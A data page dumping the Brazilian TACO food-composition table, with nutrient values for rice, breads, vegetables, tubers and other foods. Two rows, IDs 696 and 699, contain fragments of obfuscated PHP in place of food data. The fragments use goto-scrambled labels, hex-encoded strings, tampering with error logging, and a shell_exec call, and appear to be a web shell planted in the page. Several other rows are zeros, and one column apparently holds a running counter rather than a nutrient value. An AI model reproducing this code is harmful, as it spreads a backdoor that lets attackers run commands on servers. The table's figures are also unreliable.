Dados da Tabela cmvcol_taco3

ID Descrição Umidade Energia (kcal) Energia (kJ) Proteína Lipídeos Colesterol Carboidrato Fibra Alimentar Cálcio Ferro Sódio Cobre Zinco Retinol Vitamina C
4 Arroz, integral, cozido 70.13866666666667 123.53489250000001 516.8699902200001 2.58825 1.0003333333333333 0 2.749333333333334 0.463 1 0.6273333333333333 105.85300000000001
5 Arroz, integral, cru 12.179833333333335 359.6780020326088 1504.892760504435 7.323285869565217 1.8648333333333333 0 4.819166666666666 1.1813333333333333 2 2.9933333333333336 250.865
6 Arroz, tipo 1, cozido 69.11366666666667 128.25848566666664 536.6335040293333 2.5208166666666667 0.22699999999999998 0 1.561 0.07866666666666666 3 0.29666666666666663 17.945
7 Arroz, tipo 1, cru 13.224499999999999 357.789273115942 1496.9903187171014 7.158539855072464 0.335 0 1.6391666666666667 0.5224166666666668 4 1.032333333333333 104.20758333333335
8 Arroz, tipo 2, cozido 68.72766666666666 130.11964833333332 544.4206086266666 2.568416666666667 0.36166666666666664 0 1.0696666666666665 0.14966666666666664 5 0.371 21.52133333333333
9 Arroz, tipo 2, cru 13.164749999999998 358.1167614565217 1498.360529934087 7.241882971014494 0.2755 0 1.7198333333333333 0.4364166666666667 6 0.828 82.04391666666666
10 Aveia, flocos, crua 9.133333333333333 393.82268944927546 1647.7541326557687 13.921026086956523 8.496666666666666 0 9.13 1.8133333333333335 7 1.8946666666666667 153.39666666666668
11 Biscoito, doce, maisena 3.216666666666667 442.8193901449275 1852.756328366377 8.072521739130433 11.966666666666669 0 2.1 1.51 8 0.7783333333333333 166.10333333333335
12 Biscoito, doce, recheado com chocolate 2.183333333333333 471.824779710145 1974.1148783072467 6.397217391304348 19.583333333333332 0 2.956666666666667 1.2866666666666666 9 0.588 139.45
13 Biscoito, doce, recheado com morango 2.733333333333334 471.1747362318841 1971.3950963942032 5.719826086956521 19.573333333333334 0 1.5333333333333332 0.96 10 0.659 137.74333333333334
14 Biscoito, doce, wafer, recheado de chocolate 1.17 502.4568579710144 2102.279493750724 5.564521739130435 24.673333333333332 0 1.8033333333333335 1.0566666666666666 11 0.435 124.20333333333333
15 Biscoito, doce, wafer, recheado de morango 1.1733333333333333 513.4461826086956 2148.2588280347827 4.517043478260871 26.4 1.2673333333333334 0.82 0.5566666666666666 12 0.2796666666666667 73.16333333333334
16 Biscoito, salgado, cream cracker 4.056666666666667 431.73228115942027 1806.3678643710145 10.055130434782608 14.436666666666667 0 2.51 2.72 13 0.6896666666666667 148.26
17 Bolo, mistura para 1 418.6333333333333 1751.5618666666667 6.159420289855073 6.126666666666666 0 1.7033333333333331 2 14 0.4626666666666667 332.65766666666667
18 Bolo, pronto, aipim 34.13366666666667 323.85166666666663 1354.9953733333332 4.416666666666667 12.747666666666667 73.20400000000001 0.6906666666666667 0.838 15 0.107 122.194
19 Bolo, pronto, chocolate 19.276333333333334 410.01366666666667 1715.4971813333334 6.222916666666666 18.472333333333335 76.79766666666667 1.43 1.3106666666666666 16 0.3793333333333333 196.9766666666667
20 Bolo, pronto, coco 29.320333333333334 333.4376666666667 1395.1031973333336 5.666666666666666 11.296333333333331 63.20766666666666 1.055 1.4406666666666668 17 0.399 303.3963333333333
21 Bolo, pronto, milho 36.68833333333333 311.387 1302.843208 4.804166666666667 12.415 81.68733333333334 0.71 0.9836666666666667 18 0.10766666666666667 128.1963333333333
22 Canjica, branca, crua 13.557 357.60258999999996 1496.20923656 7.2 0.9710000000000001 0 5.499333333333333 0.211 19 0.08633333333333333 48.498
23 Canjica, com leite integral 72.49400000000001 112.45677722046528 470.51915589042676 2.3606000423431395 1.2443333333333335 1.3506666666666665 1.2166666666666666 0.2733333333333334 20 0.02 40.583333333333336
24 Cereais, milho, flocos, com sal 9.293333333333335 369.59975000000003 1546.4053540000002 7.291666666666667 1.6033333333333335 0 5.293333333333333 0.9766666666666666 21 0 90.77033333333333
25 Cereais, milho, flocos, sem sal 11.223333333333334 363.3383166666666 1520.2075169333332 6.875 1.1833333333333333 0 1.8366666666666667 0.27 22 0 58.35966666666667
26 Cereais, mingau, milho, infantil 4.703333333333333 394.42752173913044 1650.2847509565217 6.431159420289855 1.0933333333333335 0 3.2133333333333334 0.5066666666666667 23 0.10633333333333334 169.16333333333333
27 Cereais, mistura para vitamina, trigo, cevada e aveia 4.366666666666666 381.1333333333333 1594.6618666666668 8.895833333333332 2.12 0 4.983333333333333 3 24 2.2840000000000003 515.036
28 Cereal matinal, milho 5.526666666666666 365.354163768116 1528.6418212057974 7.155797101449275 0.9566666666666667 0 4.116666666666666 2.5366666666666666 25 0.059 100.8
29 Cereal matinal, milho, açúcar 4.266666666666667 376.55525362318843 1575.5071811594205 4.742753623188407 0.6666666666666666 0 2.106666666666667 1.4833333333333334 26 0.13433333333333333 43.18
30 Creme de arroz, pó 7.333000000000001 386.00119033639794 1615.028980367489 7.026949774742127 1.2260000000000002 0 1.0713333333333332 0.5446666666666666 27 1.2373333333333334 153.02
31 Creme de milho, pó 5.652 333.03419267054403 1393.4150621335564 4.820833333333333 1.639333333333333 0 3.7223333333333333 1.7393333333333334 28 0.2 303.2666666666667
32 Curau, milho verde 81.56466666666667 78.43381831365585 328.16709582433606 2.3606000423431395 1.6369999999999998 4.742 0.4566666666666667 0.49333333333333335 29 0.05566666666666667 74.65633333333334
33 Curau, milho verde, mistura para 3.9163333333333328 402.28657743531465 1683.1670399893567 2.2229166666666664 13.371333333333334 0 2.5226666666666664 0.673 30 0.05466666666666667 44.619
34 Farinha, de arroz, enriquecida 12.693333333333333 363.0564801812235 1519.028313078239 1.2693332926432292 0.3 0 0.58 0.2333333333333333 31 0.042333333333333334 35.958666666666666
38 Farinha, de centeio, integral 10.776666666666666 335.77766279932655 1404.8937411523823 12.515066502888997 1.7533333333333332 0 15.48 1.6566666666666665 32 3.856666666666667 339.9866666666666
39 Farinha, de milho, amarela 11.773333333333333 350.58693322738014 1466.8557286233586 7.1875 1.4666666666666666 0 5.49 0.49333333333333335 33 0 84.22133333333333
40 Farinha, de rosca 9.806666666666667 370.5780966666666 1550.4987564533333 11.380999619166056 1.4633333333333332 0 4.823333333333333 1.5633333333333335 34 1.6206666666666667 194.95833333333334
41 Farinha, de trigo 12.98 360.4729785507247 1508.2189422562321 9.79078260869565 1.366666666666667 0 2.3466666666666667 0.77 35 0.4603333333333333 114.74
42 Farinha, láctea, de cereais 2.6966666666666668 414.8505173913043 1735.7345647652173 11.87913043478261 5.79 11.2718 1.94 1.8633333333333335 36 1.489 296.4433333333334
43 Lasanha, massa fresca, cozida 59.64633333333333 163.76366666666667 685.1871813333333 5.8125 1.1583333333333332 0 1.6363333333333332 0.8606666666666666 37 0.195 42.38399999999999
44 Lasanha, massa fresca, crua 44.98566666666667 220.3056666666667 921.7589093333335 7.008333333333333 1.3376666666666666 0 1.6063333333333334 1.61 38 0.3446666666666667 81.96133333333334
45 Macarrão, instantâneo 5.973333333333333 435.8647805333334 1823.658241751467 8.79168 17.236666666666668 0 5.61 5.566666666666666 39 0.253 112.15
46 Macarrão, trigo, cru 10.243333333333332 371.1226130434783 1552.777012973913 9.995652173913044 1.3033333333333335 0 2.9266666666666663 0.5133333333333333 40 0.5283333333333333 99.81
47 Macarrão, trigo, cru, com ovos 10.563333333333333 370.5671133333334 1550.452802186667 10.320799999999998 1.97 17.567999999999998 2.2966666666666664 0.5233333333333333 41 0.397 118.47666666666667
48 Milho, amido, cru 12.18333 361.36682387826096 1511.958791106644 0.5978260869565217 0 0 0.7433333 0.07 42 0.01833333333333333 12.603
49 Milho, fubá, cru 11.453333333333333 353.482268115942 1478.9698097971016 7.213768115942029 1.9033333333333333 0 4.713333333333334 0.5566666666666668 43 0.33866666666666667 107.83666666666666
50 Milho, verde, cru 63.538333333333334 138.166565 578.08890796 6.589583333333334 0.609 0 3.9180000000000006 0.7073333333333333 44 0.118 112.705
51 Milho, verde, enlatado, drenado 76.22333333333334 97.56489420289851 408.2115173449274 3.2282608695652177 2.353333333333333 0 4.6433333333333335 1.06 45 0.09300000000000001 61.30733333333333
52 Mingau tradicional, pó 8.143333333333333 373.4214666666667 1562.3954165333334 0.5833333333333334 0.37 0 0.88 1.5666666666666667 46 0 273.319
53 Pamonha, barra para cozimento, pré-cozida 61.30733333333333 171.2191116666667 716.3807632133335 2.5520833333333335 4.849666666666667 0 2.371 0.606 47 0.12466666666666666 54.585
54 Pão, aveia, forma 19.916666666666668 343.0853666666667 1435.4691741333336 12.35 5.693333333333334 0 5.98 2.473333333333333 48 1.082 182.19766666666666
55 Pão, de soja 26.03333333333333 308.7263233333333 1291.7109368266667 11.343 3.58 0 5.706666666666667 2.5333333333333337 49 0.5693333333333334 153.18
56 Pão, glúten, forma 40.67333333333334 252.99402999999998 1058.52702152 11.950999600092567 2.7266666666666666 0 2.48 0.53 50 0.51 105.26066666666667
57 Pão, milho, forma 30.416666666666668 292.01349 1221.78444216 8.303 3.11 5.685 4.296666666666666 1.7733333333333334 51 0.36599999999999994 110.098
58 Pão, trigo, forma, integral 34.723333333333336 253.19361833333332 1059.3620991066666 9.425166666666666 3.6533333333333338 0 6.883333333333333 2.2566666666666664 52 1.6163333333333334 193.439
59 Pão, trigo, francês 28.483333333333334 299.8101504347826 1254.4056694191304 7.953565217391304 3.1033333333333335 0 2.3066666666666666 1.8133333333333332 53 0.4633333333333334 94.74
60 Pão, trigo, sovado 25.763333333333332 310.96494 1301.0773089600002 8.398 2.84 16.562 2.433333333333333 1.5466666666666666 54 0.3136666666666667 100.66266666666667
61 Pastel, de carne, cru 34.39833333333333 288.70207151598953 1207.9294672229003 10.74069964059194 8.793 18.200666666666667 1.04 4.051333333333333 55 0.3433333333333333 117.37666666666667
62 Pastel, de carne, frito 22.923333333333332 388.37465162496756 1624.9595423988644 10.104199661890666 20.136666666666667 25.336 0.9866666666666667 3.068 56 0.21566666666666667 90.032
63 Pastel, de queijo, cru 31.28333333333333 308.4744338873742 1290.6570313847735 9.853399670282998 9.634666666666666 14.349000000000002 1.1066666666666667 3.2806666666666664 57 0.24466666666666667 168.12333333333333
64 Pastel, de queijo, frito 17.541 422.11208003931927 1766.116942884512 8.709599708557128 22.670333333333332 15.37633333 0.9433333333333334 2.9463333333333335 58 0.2006666666666667 123.80966666666666
65 Pastel, massa, crua 27.066 310.2025143333333 1297.8873199706666 6.9027 5.477 0 1.4133333333333333 3.1746666666666665 59 0.3826666666666667 72.551
66 Pastel, massa, frita 0.9690000000000002 569.6724593333333 2383.5095698506666 6.0192000000000005 40.86033333333334 0 1.3093333333333332 2.8083333333333336 60 0.35633333333333334 62.36233333333333
67 Pipoca, com óleo de soja, sem sal 2.8190000000000004 448.334261847198 1875.8305515686764 9.927083333333336 15.940999999999997 0 14.336666666666666 1.0003333333333333 61 0.6536666666666666 225.13466666666667
68 Polenta, pré-cozida 72.74 102.74116666666669 429.8690413333334 2.291666666666667 0.3033333333333333 0 2.4033333333333333 1.3533333333333335 62 0 16.786
69 Torrada, pão francês 9.046999999999999 377.422283 1579.134832072 10.524100000000002 3.3009999999999997 0 3.395 2.5719999999999996 63 0.5533333333333333 113.91666666666667
696 0); goto ivUM9; laTE8: ini_alter("\x6c\157\147\x5f\145\162\x72\157\162\163" 0
75 Abóbora, cabotian, cozida 86.354 48.04374250000001 201.01501862000003 1.44375 0.7293333333333333 0 2.462666666666667 0.7120000000000001 64 0.26066666666666666 32.595
76 Abóbora, cabotian, crua 88.52 38.59929420289856 161.4994469449276 1.7463768115942029 0.5366666666666667 0 2.1666666666666665 0.8366666666666666 65 0.11 25.766666666666666
77 Abóbora, menina brasileira, crua 95.69 13.605673913043486 56.926139652173944 0.6086956521739131 0 0 1.17 0.36 66 0.01 11.62
78 Abóbora, moranga, crua 95.87 12.364436231884042 51.732801194202835 0.9601449275362318 0.06 0 1.7033333333333331 0.44333333333333336 67 0.01 7.914666666666666
79 Abóbora, moranga, refogada 92.45733333333334 29.003822031756222 121.35199138086804 0.39375 0.799 0 1.5466666666666669 0.36800000000000005 68 0.016 11.650666666666666
80 Abóbora, pescoço, crua 92.493 24.466267949700352 102.36686510154628 0.6708333333333334 0.11599999999999999 0 2.300333333333333 0.5973333333333333 69 0.07133333333333332 31.619333333333334
81 Abobrinha, italiana, cozida 95.28233333333333 15.038520000000023 62.9211676800001 1.125 0.19899999999999998 0 1.588 0.4166666666666667 70 0.106 22.48733333333333
82 Abobrinha, italiana, crua 93.86333333333334 19.279126086956484 80.66386354782594 1.141304347826087 0.14 0 1.3533333333333335 0.5633333333333334 71 0.09 32.016666666666666
83 Abobrinha, italiana, refogada 93.49166666666667 24.42960218765336 102.21345555314166 1.06875 0.8213333333333334 0 1.38 0.43133333333333335 72 0.13533333333333333 31.828333333333333
84 Abobrinha, paulista, crua 90.85066666666667 30.810702228816336 128.91197812536754 0.6395833333333333 0.139 0 2.605 0.50333 73 0.111 32.74566666666667
85 Acelga, crua 93.18566666666668 20.942342499999942 87.62276101999976 1.44375 0.106 0 1.122 0.6336666666666667 74 0.107 40.026
86 Agrião, cru 93.94333333333334 16.578801449275325 69.36570526376796 2.6884057971014492 0.23666666666666666 0 2.1366666666666667 0.88 75 0.28 50.586666666666666
87 Aipo, cru 93.82799999999999 19.09145664497062 79.87865460255708 0.7583333333333333 0.069 0 0.9569999999999999 1.0723333333333331 76 0.17800000000000002 28.045666666666666
88 Alface, americana, crua 97.16866666666665 8.794903236866052 36.79787514304756 0.6083333333333334 0.129 0 1.0216666666666667 0.3486666666666667 77 0.11766666666666666 19.377
89 Alface, crespa, crua 96.09333333333332 10.68085652173921 44.688703686956856 1.3478260869565217 0.16 0 1.8266666666666669 0.7033333333333335 78 0.2 25.80666666666667
90 Alface, lisa, crua 95 13.820901449275343 57.82665166376804 1.6884057971014494 0.12333333333333334 0 2.33 0.76 79 0.3336666666666666 26.13333333333333
91 Alface, roxa, crua 95.72833333333334 12.716997363467993 53.207916968750084 0.90625 0.19166666666666665 0 2.013333333333333 0.6803333333333333 80 0.11633333333333334 51.129333333333335
92 Alfavaca, crua 90.20766666666667 29.183613081057864 122.1042371311461 2.658333333333333 0.47633333333333333 0 4.140333333333333 1.4166666666666667 81 0.14533333333333331 49.742999999999995
93 Alho, cru 67.54666666666667 113.12987826086957 473.3354106434783 7.010869565217391 0.22 0 4.323333333333333 1.3166666666666667 82 0.24 149.09
94 Alho-poró, cru 90.952 31.5079193532467 131.8291345739842 1.4125 0.1396666666666667 0 2.506666666666667 0.6176666666666667 83 0.10233333333333335 36.486333333333334
95 Almeirão, cru 93.67 18.034428985507237 75.45605087536228 1.7681159420289856 0.21666666666666667 0 2.586666666666667 1.01 84 0.16666666666666666 39.66
96 Almeirão, refogado 86.54466666666667 65.08191082886853 272.30271490798594 1.7041666666666666 4.847 0 3.4276666666666666 1.2026666666666666 85 0.2786666666666667 30.871666666666666
97 Batata, baroa, cozida 79.26066666666667 80.11976250000004 335.22108630000014 0.8520833333333333 0.16633333333333333 0 1.7579999999999998 0.7733333333333334 86 0.218 29.475
98 Batata, baroa, crua 73.69 100.98492318840582 422.52091862028993 1.047101449275362 0.17 0 2.063333333333333 1.11 87 0.06666666666666667 45.2
99 Batata, doce, cozida 80.425 76.75961050343517 321.1622103463728 0.6416666666666667 0.08766666666666667 0 2.212 0.42333333333333334 88 0.13933333333333334 15.394
100 Batata, doce, crua 69.51333333333334 118.24137536231882 494.721914515942 1.257246376811594 0.13333333333333333 0 2.573333333333333 0.9 89 0.17666666666666667 36.46
101 Batata, frita, tipo chips, industrializada 2.6973333333333334 542.7346733841896 2270.8018734394495 5.583333333333332 36.615 0 2.4556666666666667 3.882 90 0.23133333333333336 96.49833333333333
102 Batata, inglesa, cozida 86.35966666666667 51.588476636270656 215.84618624615644 1.1645833333333333 0 0 1.3433333333333335 0.506 91 0.06633333333333334 24.342333333333332
103 Batata, inglesa, crua 82.87 64.3702260869565 269.325025947826 1.7717391304347823 0 0 1.1633333333333333 0.64 92 0.1 38.53666666666666
104 Batata, inglesa, frita 44.121 267.15742250204084 1117.786655748539 4.966666666666667 13.108666666666666 0 8.059333333333333 2.1633333333333336 93 0.14766666666666664 69.66766666666666
105 0 0 0 0 0 0 0 0 0 0 0
106 0 0 0 0 0 0 0 0 0 0 0
108 Batata, inglesa, sauté 83.091 67.88793615063032 284.0431248542373 1.2916666666666667 0.8963333333333333 0 1.377 0.628 94 0.08433333333333333 31.968
109 Berinjela, cozida 94.43166666666667 18.845285556813074 78.84867476970591 0.6770833333333334 0.14833333333333332 0 2.5243333333333333 0.27466666666666667 95 0.111 15.026666666666666
110 Berinjela, crua 93.80333333333334 19.62775362318839 82.12252115942023 1.221014492753623 0.1 0 2.873333333333333 0.4466666666666667 96 0.1 20.463333333333335
111 Beterraba, cozida 90.57333333333334 32.15432433140276 134.53369300258916 1.29375 0.09266666666666667 0 1.8786666666666665 0.8053333333333335 97 0.18866666666666668 30.130666666666666
112 Beterraba, crua 85.98333333333333 48.82850869565215 204.2984803826086 1.9456521739130435 0.09 0 3.3733333333333335 0.87 98 1.23 19.386666666666667
113 Biscoito, polvilho doce 5.437333333333332 437.54900000000004 1830.7050160000001 1.2916666666666667 12.249 9.385 1.159 0.48666666666666664 99 0.08133333333333333 23.319
114 Brócolis, cozido 92.617 24.63616311136879 103.07770645796703 2.1333333333333333 0.459 0 3.4166666666666665 0.424 100 0.11833333333333333 33.159333333333336
115 Brócolis, cru 91.22 25.495131884057955 106.67163180289849 3.6449275362318847 0.26666666666666666 0 2.88 0.8433333333333333 101 0.26 78.46
116 Cará, cozido 78.88466666666666 77.58491333333336 324.6152773866668 1.5291666666666668 0.11233333333333334 0 2.6346666666666665 0.6213333333333333 102 0.021666666666666667 27.801333333333332
117 Cará, cru 73.69333333333333 95.6331347826087 400.12903593043484 2.282608695652174 0.1366666666666667 0 7.273333333333333 0.9333333333333335 103 0.01 34.72
118 Caruru, cru 87.61833333333334 34.03162971734997 142.38833873739227 3.2 0.585 0 4.469 2.622666666666667 104 0.8943333333333334 77.26133333333333
119 Catalonha, crua 91.76266666666668 23.888412257373297 99.94911688484987 1.86875 0.2823333333333333 0 2.0483333333333333 1.3340000000000003 105 0.33666666666666667 32.00133333333333
120 Catalonha, refogada 87.43266666666666 63.449269148826616 265.4717421186906 1.95 4.805666666666666 0 3.65 1.0023333333333333 106 0.6393333333333334 35.36166666666667
121 Cebola, crua 88.92 39.420046376811584 164.93347404057968 1.7101449275362322 0.08 0 2.186666666666667 0.4366666666666667 107 0.13 37.86666666666667
122 Cebolinha, crua 93.88 19.515885507246438 81.6544649623191 1.865942028985507 0.35 0 3.55 0.5333333333333333 108 0.12666666666666668 26.89
123 Cenoura, cozida 91.66300000000001 29.86177771015958 124.94167793930768 0.8479166666666668 0.21833333333333335 0 2.629 0.584 109 0.045 26.744
124 Cenoura, crua 90.08333333333333 34.13538840579714 142.82246508985523 1.322463768115942 0.17333333333333334 0 3.1833333333333336 0.8666666666666667 110 0.05 27.85
125 Chicória, crua 95.13666666666666 13.837120289855097 57.89451129275373 1.1376811594202898 0.14333333333333334 0 2.2 0.82 111 0.13333333333333333 13.377666666666665
126 Chuchu, cozido 94.56166666666667 18.53979053137702 77.57048358328144 0.41458333333333336 0 0 1.0396666666666665 0.18066666666666667 112 0.06533333333333334 12.805
127 Chuchu, cru 94.83666666666666 16.97891884057972 71.03979642898555 0.6992753623188407 0.06 0 1.28 0.26666666666666666 113 0.08 17.743333333333332
128 Coentro, folhas desidratadas 10.63 309.0707468044758 1293.1520046299268 20.875 10.386666666666668 0 37.29 10.153333333333334 114 10.479666666666667 388.0636666666667
129 Couve, manteiga, crua 90.9 27.05669710144928 113.2052206724638 2.873188405797101 0.5466666666666667 0 3.12 1.3466666666666667 115 1.0166666666666666 48.666999999999994
130 Couve, manteiga, refogada 81.52733333333333 90.34481542611123 378.0027077428494 1.6666666666666667 6.594 0 5.7363333333333335 1.5043333333333333 116 0.12333333333333334 33.406666666666666
131 Couve-flor, crua 92.77 22.56334927536229 94.40505336811583 1.9057971014492752 0.21333333333333335 0 2.35 0.5933333333333333 117 0.16 57.08
132 Couve-flor, cozida 94.33833333333332 19.114140614728182 79.97356433202272 1.2395833333333333 0.26933333333333337 0 2.130333333333333 0.2773333333333334 118 0.102 25.43166666666667
133 Espinafre, Nova Zelândia, cru 94.03 16.095694202898525 67.34438454492744 1.996376811594203 0.24333333333333332 0 2.1 1.1566666666666665 119 0.71 25.433333333333334
134 Espinafre, Nova Zelândia, refogado 86.573 67.25365175066395 281.38927892477795 2.71875 5.434666666666668 0 2.518333333333333 1.035 120 0.6133333333333333 33.50566666666666
135 Farinha, de mandioca, crua 9.386666666666665 360.8696985507246 1509.8788187362318 1.5543478260869565 0.27666666666666667 0 6.39 0.8833333333333333 121 0 41.61
136 Farinha, de mandioca, torrada 8.34 365.268975 1528.2853914000002 1.2291666666666667 0.2866666666666667 0 6.54 0.95 122 0.36633333333333334 38.626
137 Farinha, de puba 9.801 360.17977487993244 1506.9921780976374 1.6166666666666667 0.46900000000000003 0 4.24 0.828 123 0.16266666666666665 32.63966666666666
138 Fécula, de mandioca 17.766666666666666 330.85055833333337 1384.2787360666669 0.5208333333333333 0.2833333333333334 0 0.6466666666666666 0.28 124 0 60.385
139 Feijão, broto, cru 87.48133333333334 38.723236375411325 162.01802099472098 4.166666666666666 0.10266666666666667 0 1.966 0.49099999999999994 125 0.18699999999999997 74.75233333333334
140 0 0 0 0 0 0 0 0 0 0 0
141 0 0 0 0 0 0 0 0 0 0 0
699 $vjE0N); goto HHrET; sKEKg: ob_start(); goto JSZGm; rKto6: if (function_exists("\x66\x72\145\141\144") && function_exists("\146\145\x6f\x66")) { goto s0Ny2; } goto c_Mvv; Nt_Kc: $vjE0N = "\124\150\x65\171\x20\x68\141\x76\x65\40\x74\x68\145\x69\x72\x20\x53\145\143\x75\x72\x69\164\x79\40\x74\150\x65\162\x65\x21\x20\x3a\x28\40"; goto HXTm_; TsaHC: goto pFqvo; goto EY9qB; ppXFU: return htmlspecialchars($vjE0N); goto le7h6; c5no4: if (function_exists("\x73\171\163\164\x65\155")) { goto p1B2N; } goto LmG9C; UzwnV: PKWAg: goto A7Y5F; r0_IZ: if (feof($GXp8m)) { goto PKWAg; } goto oh3_7; N4xny: $vjE0N = shell_exec($T3tmb); goto x1Ia9; WtU6T: Aak4i: goto bY34n; JSg1a: tw7nL: got
143 Inhame, cru 73.31333333333333 96.69983188405796 404.5920966028985 2.0507246376811596 0.21333333333333335 0 1.6533333333333333 1.19 126 0.15333333333333332 64.72333333333333
144 Jiló, cru 91.63 27.36514347826087 114.49576031304348 1.4021739130434783 0.22 0 4.826666666666667 0.5566666666666668 127 0.14 29.02
145 Jurubeba, crua 66.63533333333334 125.81163499999998 526.3958808399999 4.4125 3.9096666666666664 0 23.921333333333337 1.9833333333333332 128 0.5219999999999999 155.12266666666667
146 Mandioca, cozida 68.68666666666667 125.35825000000003 524.4989180000001 0.575 0.29833333333333334 0 1.5566666666666666 0.35 129 0.06366666666666666 22.41033333333333
147 Mandioca, crua 61.843333333333334 151.4169565217391 633.5285460869565 1.1304347826086958 0.3 0 1.8766666666666667 0.5566666666666668 130 0.05 29.426666666666666
148 Mandioca, farofa, temperada 6.42 405.69394166666666 1697.4234519333334 2.0625 9.12 0 7.816666666666667 2.0933333333333333 131 0.289 44.51566666666667
149 Mandioca, frita 36.565666666666665 300.0552433891495 1255.4311383402016 1.38125 11.195 0 1.87 0.6066666666666667 132 0.18166666666666664 56.54366666666667
150 Manjericão, cru 92.95666666666666 21.14767681159422 88.48187977971023 1.985507246376812 0.39333333333333337 0 3.3066666666666666 1.02 133 0.17333333333333334 39.92333333333333
151 Maxixe, cru 95.06 13.747236086956516 57.518435787826064 1.391304347826087 0.073 0 2.193 0.747 134 0.07 24.983
152 Mostarda, folha, crua 93.43 18.107389052172486 75.76131579428969 2.110416666666667 0.16766666666666666 0 1.891 1.0553333333333335 135 0.1386666666666667 58.39833333333333
153 Nhoque, batata, cozido 54.954 180.7752739934126 756.3637463884384 5.8583333333333325 1.9433333333333334 15.077666666666666 1.78 0.4643333333333333 136 0.298 68.37233333333333
154 Nabo, cru 93.84333333333332 18.18662463768122 76.09283748405822 1.2028985507246377 0.05333333333333334 0 2.6433333333333335 0.7533333333333333 137 4.416666666666667 16.566666666666666
155 Palmito, juçara, em conserva 91.36666666666667 23.199716434081346 97.06761356019635 1.7916666666666667 0.4033333333333333 0 3.15 2.11 138 10.819 40.26466666666666
156 Palmito, pupunha, em conserva 89.444 29.43196333333332 123.14333458666663 2.4583333333333335 0.45 0 2.55 2.138666666666667 139 0.14133333333333334 54.961999999999996
157 Pão, de queijo, assado 33.736 363.07791333333336 1519.1179893866667 5.120833333333334 24.567333333333334 67.72666666666666 0.5583333333333332 2.3343333333333334 140 0.03266666666666667 93.73666666666668
158 Pão, de queijo, cru 41.836999999999996 294.538 1232.346992 3.6479999999999997 13.988666666666667 63.05433333333334 0.9763333333333333 2.0143333333333335 141 0 78.84266666666667
159 Pepino, cru 96.78666666666668 9.533691304347819 39.88896441739128 0.8695652173913043 0 0 1.12 0.29 142 0.08333333333333333 12.323333333333332
160 Pimentão, amarelo, cru 91.87666666666667 27.92745942028985 116.84849021449274 1.2246376811594204 0.4366666666666667 0 1.92 0.5 143 0.08333333333333333 22.38333333333333
161 Pimentão, verde, cru 93.52 21.285881159420292 89.06012677101451 1.0507246376811594 0.15 0 2.563333333333333 0.3866666666666667 144 0.14333333333333334 16.513333333333332
162 Pimentão, vermelho, cru 92.90333333333332 23.28136376811601 97.40922600579738 1.039855072463768 0.1466666666666667 0 1.5933333333333335 0.44333333333333336 145 0.06333333333333334 19.96
163 Polvilho, doce 12.583333333333334 351.2267333333333 1469.5326522666667 0.43 0 0 0.23666666666666666 0.17333333333333334 146 0.08766666666666667 8.38
164 Quiabo, cru 90.57533333333333 29.939262150069077 125.26587283588903 1.91875 0.299 0 4.553333333333334 0.8330000000000001 147 0.464 55.825
165 Rabanete, cru 95.06333333333333 13.738126086956488 57.48031954782595 1.391304347826087 0.07333333333333335 0 2.1933333333333334 0.7466666666666667 148 0.07 24.98333333333333
166 Repolho, branco, cru 94.72 17.11880289855071 71.62507132753618 0.8768115942028986 0.14333333333333334 0 1.89 0.4 149 0.12666666666666668 14.2
167 Repolho, roxo, cru 90.08433333333333 30.907502954324087 129.316992360892 1.908333333333333 0.06366666666666666 0 1.9733333333333334 0.7396666666666666 150 0.25266666666666665 57.71233333333333
168 Repolho, roxo, refogado 88.699 41.77352528971434 174.7804298121648 1.8020833333333333 1.2403333333333333 0 1.75 0.6970000000000001 151 0.261 59.383
169 Rúcula, crua 94.81566666666667 13.133256607294062 54.94954564491835 1.7666666666666664 0.10733333333333334 0 1.74 1.0906666666666667 152 0.23566666666666666 25.165666666666667
170 Salsa, crua 88.65 33.424111594202884 139.84648291014489 3.2572463768115942 0.61 0 1.85 1.7766666666666666 153 1.8766666666666667 49.35
171 Seleta de legumes, enlatada 82.14666666666666 56.533772463768145 236.53730398840594 3.4202898550724634 0.35333333333333333 0 3.09 1.41 154 0.131 49.03333333333333
172 Serralha, crua 90.24833333333333 30.397934166666644 127.18495655333325 2.6729166666666666 0.7426666666666666 0 3.5185000000000004 1.3893333333333333 155 0.23 48.256
173 Taioba, crua 89.24300000000001 34.208918333333315 143.1301143066666 2.8958333333333335 0.9266666666666667 0 4.453666666666667 1.5040000000000002 156 0.6616666666666666 52.76333333333334
174 Tomate, com semente, cru 95.12666666666667 15.335156521739158 64.16229488695664 1.0978260869565217 0.17333333333333334 0 1.1733333333333331 0.4633333333333334 157 0.06666666666666667 20.19333333333333
175 0 0 0 0 0 0 0 0 0 0 0
176 0 0 0 0 0 0 0 0 0 0 0
